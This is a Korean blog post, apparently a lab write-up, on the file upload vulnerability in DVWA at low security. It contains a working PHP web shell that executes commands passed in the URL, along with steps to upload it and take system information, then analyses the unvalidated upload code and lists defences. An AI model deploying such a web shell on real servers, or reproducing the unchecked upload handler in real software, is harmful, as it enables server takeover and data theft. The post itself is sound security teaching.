특징
- 파일 업로드 기능이 있는 웹페이지의 필터링 조치가 미흡하여 악성파일이 업로드 되어 실행될 수 있는 취약점
- 공격자는 업로드 된 악성 파일을 활용해 웹 서버를 제어하거나, 사용자의 컴퓨터에 악성 코드를 감염시킬 수 있음
DVWA 실습
Security level low에서 진행
간단한 PHP 웹셀 파일
<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit" value="Submit">';
echo '</form>';
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
- URL에 입력한 명령어를 서버에서 실행하는 웹쉘 파일
- webshell.php 파일 업로드 시도
- 제약 없이 업로드가 되고 웹서버의 파일 경로도 노출
- 노출된 해당 경로로 접근하여 웹쉘 실행
- 웹쉘에 명령어를 입력하여 시스템 정보 탈취
소스코드 분석
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
- 파일 확장자 검증이 없음
- 경로 이동할 수 있는 파일명 검증 과정도 없음
- 업로드 권한 설정 부족
- 업로드한 파일 경로를 그대로 노출
대응방안
- DB 서버에 파일을 CLOB 또는 BLOB 타입으로 업로드
- 웹 서버와 업로드 서버를 물리적으로 분리
- 업로드 된 파일의 실행 권한 자체를 차단하여 실행되지 않도록 설정
- 확장자를 화이트리스트로 검증하거나 파일 시그니처를 검증하여 제한하여 허용된 파일만 업로드
- 파일이 업로드 되는 디렉터리 위치가 사용자에게 노출되지 않도록 설정
'CERT' 카테고리의 다른 글
웹 모의해킹: Weak Session IDs (2) | 2024.10.05 |
---|---|
웹 모의해킹: Insecure CAPTCHA (0) | 2024.10.05 |
웹 모의해킹: File Inclusion (0) | 2024.10.05 |
웹 모의해킹: CSRF (2) | 2024.10.05 |
웹 모의해킹: Brute Force (0) | 2024.10.05 |